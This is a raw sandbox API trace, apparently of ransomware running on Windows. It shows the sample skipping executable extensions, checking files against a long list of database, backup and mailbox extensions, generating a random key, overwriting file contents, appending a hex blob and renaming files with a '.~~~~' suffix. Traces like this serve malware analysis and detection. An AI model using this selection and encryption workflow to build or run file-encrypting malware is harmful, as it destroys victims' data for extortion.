	[0135.124] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.124] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.124] CloseHandle (hObject=0x140) returned 1
	[0135.125] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c52e0
	[0135.125] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\NETWORK2.VRD.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\network2.vrd.~~~~")) returned 1
	[0135.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c52e0 | out: hHeap=0x300000) returned 1
	[0135.128] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0135.128] GetLastError () returned 0x0
	[0135.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".scr") returned 0x0
	[0135.128] lstrlenW (lpString=".cmd") returned 4
	[0135.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".cmd") returned 0x0
	[0135.128] lstrlenW (lpString=".dll") returned 4
	[0135.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".dll") returned 0x0
	[0135.128] lstrlenW (lpString=".bat") returned 4
	[0135.128] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".bat") returned 0x0
	[0135.129] lstrlenW (lpString=".cpl") returned 4
	[0135.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".cpl") returned 0x0
	[0135.129] lstrlenW (lpString=".sys") returned 4
	[0135.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".sys") returned 0x0
	[0135.129] lstrlenW (lpString=".msc") returned 4
	[0135.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".msc") returned 0x0
	[0135.129] lstrlenW (lpString=".com") returned 4
	[0135.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".com") returned 0x0
	[0135.129] lstrlenW (lpString=".lnk") returned 4
	[0135.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".lnk") returned 0x0
	[0135.129] lstrlenW (lpString=".msp") returned 4
	[0135.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".msp") returned 0x0
	[0135.129] lstrlenW (lpString=".pif") returned 4
	[0135.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".pif") returned 0x0
	[0135.129] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.129] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch="msp\r\n.pif") returned 0x0
	[0135.129] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0135.131] lstrlenW (lpString=".sqb") returned 4
	[0135.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".sqb") returned 0x0
	[0135.131] lstrlenW (lpString=".ost") returned 4
	[0135.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".ost") returned 0x0
	[0135.131] lstrlenW (lpString=".txt") returned 4
	[0135.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".txt") returned 0x0
	[0135.131] lstrlenW (lpString=".mdt") returned 4
	[0135.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".mdt") returned 0x0
	[0135.131] lstrlenW (lpString=".BDB") returned 4
	[0135.131] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".BDB") returned 0x0
	[0135.131] lstrlenW (lpString=".eql") returned 4
	[0135.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".eql") returned 0x0
	[0135.132] lstrlenW (lpString=".DBF") returned 4
	[0135.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".DBF") returned 0x0
	[0135.132] lstrlenW (lpString=".EQL") returned 4
	[0135.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".EQL") returned 0x0
	[0135.132] lstrlenW (lpString=".FDB") returned 4
	[0135.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".FDB") returned 0x0
	[0135.132] lstrlenW (lpString=".EDB") returned 4
	[0135.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".EDB") returned 0x0
	[0135.132] lstrlenW (lpString=".DACPAC") returned 7
	[0135.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".DACPAC") returned 0x0
	[0135.132] lstrlenW (lpString=".VHD") returned 4
	[0135.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".VHD") returned 0x0
	[0135.132] lstrlenW (lpString=".DBV") returned 4
	[0135.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".DBV") returned 0x0
	[0135.132] lstrlenW (lpString=".dacpac") returned 7
	[0135.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".dacpac") returned 0x0
	[0135.132] lstrlenW (lpString=".sdf") returned 4
	[0135.132] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".sdf") returned 0x0
	[0135.132] lstrlenW (lpString=".accdb") returned 6
	[0135.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".accdb") returned 0x0
	[0135.133] lstrlenW (lpString=".DBX") returned 4
	[0135.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".DBX") returned 0x0
	[0135.133] lstrlenW (lpString=".MDT") returned 4
	[0135.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".MDT") returned 0x0
	[0135.133] lstrlenW (lpString=".SQB") returned 4
	[0135.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".SQB") returned 0x0
	[0135.133] lstrlenW (lpString=".vhd") returned 4
	[0135.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".vhd") returned 0x0
	[0135.133] lstrlenW (lpString=".bac") returned 4
	[0135.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".bac") returned 0x0
	[0135.133] lstrlenW (lpString=".mdf") returned 4
	[0135.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".mdf") returned 0x0
	[0135.133] lstrlenW (lpString=".BAK") returned 4
	[0135.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".BAK") returned 0x0
	[0135.133] lstrlenW (lpString=".BAC") returned 4
	[0135.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".BAC") returned 0x0
	[0135.133] lstrlenW (lpString=".dbs") returned 4
	[0135.133] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".dbs") returned 0x0
	[0135.133] lstrlenW (lpString=".vhdx") returned 5
	[0135.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".vhdx") returned 0x0
	[0135.134] lstrlenW (lpString=".NDF") returned 4
	[0135.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".NDF") returned 0x0
	[0135.134] lstrlenW (lpString=".dat") returned 4
	[0135.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".dat") returned 0x0
	[0135.134] lstrlenW (lpString=".DBS") returned 4
	[0135.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".DBS") returned 0x0
	[0135.134] lstrlenW (lpString=".CKP") returned 4
	[0135.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".CKP") returned 0x0
	[0135.134] lstrlenW (lpString=".edb") returned 4
	[0135.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".edb") returned 0x0
	[0135.134] lstrlenW (lpString=".PST") returned 4
	[0135.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".PST") returned 0x0
	[0135.134] lstrlenW (lpString=".dbf") returned 4
	[0135.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".dbf") returned 0x0
	[0135.134] lstrlenW (lpString=".SQL") returned 4
	[0135.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".SQL") returned 0x0
	[0135.134] lstrlenW (lpString=".pst") returned 4
	[0135.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".pst") returned 0x0
	[0135.134] lstrlenW (lpString=".dbv") returned 4
	[0135.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".dbv") returned 0x0
	[0135.134] lstrlenW (lpString=".SDF") returned 4
	[0135.134] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".SDF") returned 0x0
	[0135.135] lstrlenW (lpString=".dtxs") returned 5
	[0135.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".dtxs") returned 0x0
	[0135.135] lstrlenW (lpString=".db3") returned 4
	[0135.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".db3") returned 0x0
	[0135.135] lstrlenW (lpString=".OST") returned 4
	[0135.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".OST") returned 0x0
	[0135.135] lstrlenW (lpString=".dbx") returned 4
	[0135.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".dbx") returned 0x0
	[0135.135] lstrlenW (lpString=".DB3") returned 4
	[0135.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".DB3") returned 0x0
	[0135.135] lstrlenW (lpString=".DAT") returned 4
	[0135.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".DAT") returned 0x0
	[0135.135] lstrlenW (lpString=".VHDX") returned 5
	[0135.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".VHDX") returned 0x0
	[0135.135] lstrlenW (lpString=".ndf") returned 4
	[0135.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".ndf") returned 0x0
	[0135.135] lstrlenW (lpString=".DB") returned 3
	[0135.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".DB") returned 0x0
	[0135.135] lstrlenW (lpString=".sql") returned 4
	[0135.135] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".sql") returned 0x0
	[0135.135] lstrlenW (lpString=".MYD") returned 4
	[0135.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".MYD") returned 0x0
	[0135.136] lstrlenW (lpString=".DBT") returned 4
	[0135.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".DBT") returned 0x0
	[0135.136] lstrlenW (lpString=".ACCDB") returned 6
	[0135.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".ACCDB") returned 0x0
	[0135.136] lstrlenW (lpString=".fdb") returned 4
	[0135.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".fdb") returned 0x0
	[0135.136] lstrlenW (lpString=".bak") returned 4
	[0135.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".bak") returned 0x0
	[0135.136] lstrlenW (lpString=".myd") returned 4
	[0135.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".myd") returned 0x0
	[0135.136] lstrlenW (lpString=".DTXS") returned 5
	[0135.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".DTXS") returned 0x0
	[0135.136] lstrlenW (lpString=".ckp") returned 4
	[0135.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".ckp") returned 0x0
	[0135.136] lstrlenW (lpString=".dbt") returned 4
	[0135.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".dbt") returned 0x0
	[0135.136] lstrlenW (lpString=".db") returned 3
	[0135.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".db") returned 0x0
	[0135.136] lstrlenW (lpString=".TXT") returned 4
	[0135.136] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".TXT") returned 0x0
	[0135.136] lstrlenW (lpString=".MDF") returned 4
	[0135.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".MDF") returned 0x0
	[0135.137] lstrlenW (lpString=".bdb") returned 4
	[0135.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".bdb") returned 0x0
	[0135.137] lstrlenW (lpString=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 58
	[0135.137] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML", lpSrch=".fdb\r\n.bak\r\n.myd\r\n.DTXS\r\n.ckp\r\n.dbt\r\n.db\r\n.TXT\r\n.MDF\r\n.bdb") returned 0x0
	[0135.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x130) returned 0x2906550
	[0135.137] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x20) returned 0x362bd0
	[0135.137] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0fb0) returned 1
	[0135.138] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x362bd0 | out: pbBuffer=0x362bd0) returned 1
	[0135.138] CryptReleaseContext (hProv=0x3a0fb0, dwFlags=0x0) returned 1
	[0135.138] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x362bd0 | out: hHeap=0x300000) returned 1
	[0135.138] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368b70
	[0135.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2879920
	[0135.139] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=25512872318) returned 1
	[0135.139] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xb9fe8810, dwHighDateTime=0x1d60e1e)) 
	[0135.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362380
	[0135.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362440
	[0135.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x356f78
	[0135.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2824fd8
	[0135.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0135.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2824fd8 | out: hHeap=0x300000) returned 1
	[0135.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0135.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0135.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x399ba8
	[0135.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0135.139] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c54a8
	[0135.139] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x399ba8 | out: hHeap=0x300000) returned 1
	[0135.139] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0135.140] GetLastError () returned 0x0
	[0135.140] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0135.140] GetLastError () returned 0x0
	[0135.142] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0xfffffbd4, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0135.142] WriteFile (in: hFile=0x140, lpBuffer=0x2a520b8*, nNumberOfBytesToWrite=0x42c, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x2a520b8*, lpNumberOfBytesWritten=0x25dfec0*=0x42c, lpOverlapped=0x0) returned 1
	[0135.143] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2a520b8 | out: hHeap=0x300000) returned 1
	[0135.143] SetFilePointerEx (in: hFile=0x140, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0135.143] WriteFile (in: hFile=0x140, lpBuffer=0x368b70*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368b70*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0135.143] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0135.143] WriteFile (in: hFile=0x140, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0135.143] CloseHandle (hObject=0x140) returned 1
	[0135.143] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x3c54a8
	[0135.143] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OCMODVRD.XML.~~~~" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\ocmodvrd.xml.~~~~")) returned 1
	[0135.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3c54a8 | out: hHeap=0x300000) returned 1
	[0135.146] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x356f78 | out: hHeap=0x300000) returned 1
	[0135.146] GetLastError () returned 0x0
	[0135.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".scr") returned 0x0
	[0135.146] lstrlenW (lpString=".cmd") returned 4
	[0135.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".cmd") returned 0x0
	[0135.146] lstrlenW (lpString=".dll") returned 4
	[0135.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".dll") returned 0x0
	[0135.146] lstrlenW (lpString=".bat") returned 4
	[0135.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".bat") returned 0x0
	[0135.146] lstrlenW (lpString=".cpl") returned 4
	[0135.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".cpl") returned 0x0
	[0135.146] lstrlenW (lpString=".sys") returned 4
	[0135.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".sys") returned 0x0
	[0135.146] lstrlenW (lpString=".msc") returned 4
	[0135.146] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".msc") returned 0x0
	[0135.146] lstrlenW (lpString=".com") returned 4
	[0135.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".com") returned 0x0
	[0135.147] lstrlenW (lpString=".lnk") returned 4
	[0135.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".lnk") returned 0x0
	[0135.147] lstrlenW (lpString=".msp") returned 4
	[0135.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".msp") returned 0x0
	[0135.147] lstrlenW (lpString=".pif") returned 4
	[0135.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".pif") returned 0x0
	[0135.147] lstrlenW (lpString="msp\r\n.pif") returned 9
	[0135.147] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch="msp\r\n.pif") returned 0x0
	[0135.147] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\offowci.dll"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x140
	[0135.150] lstrlenW (lpString=".sqb") returned 4
	[0135.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".sqb") returned 0x0
	[0135.150] lstrlenW (lpString=".ost") returned 4
	[0135.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".ost") returned 0x0
	[0135.150] lstrlenW (lpString=".txt") returned 4
	[0135.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".txt") returned 0x0
	[0135.150] lstrlenW (lpString=".mdt") returned 4
	[0135.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".mdt") returned 0x0
	[0135.150] lstrlenW (lpString=".BDB") returned 4
	[0135.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".BDB") returned 0x0
	[0135.150] lstrlenW (lpString=".eql") returned 4
	[0135.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".eql") returned 0x0
	[0135.150] lstrlenW (lpString=".DBF") returned 4
	[0135.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".DBF") returned 0x0
	[0135.150] lstrlenW (lpString=".EQL") returned 4
	[0135.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".EQL") returned 0x0
	[0135.150] lstrlenW (lpString=".FDB") returned 4
	[0135.150] StrStrW (lpFirst="\\\\?\\C:\\Program Files\\Microsoft Office\\Office14\\1033\\OFFOWCI.DLL", lpSrch=".FDB") returned 0x0
	[0135.150] lstrlenW (lpString=".EDB") returned 4
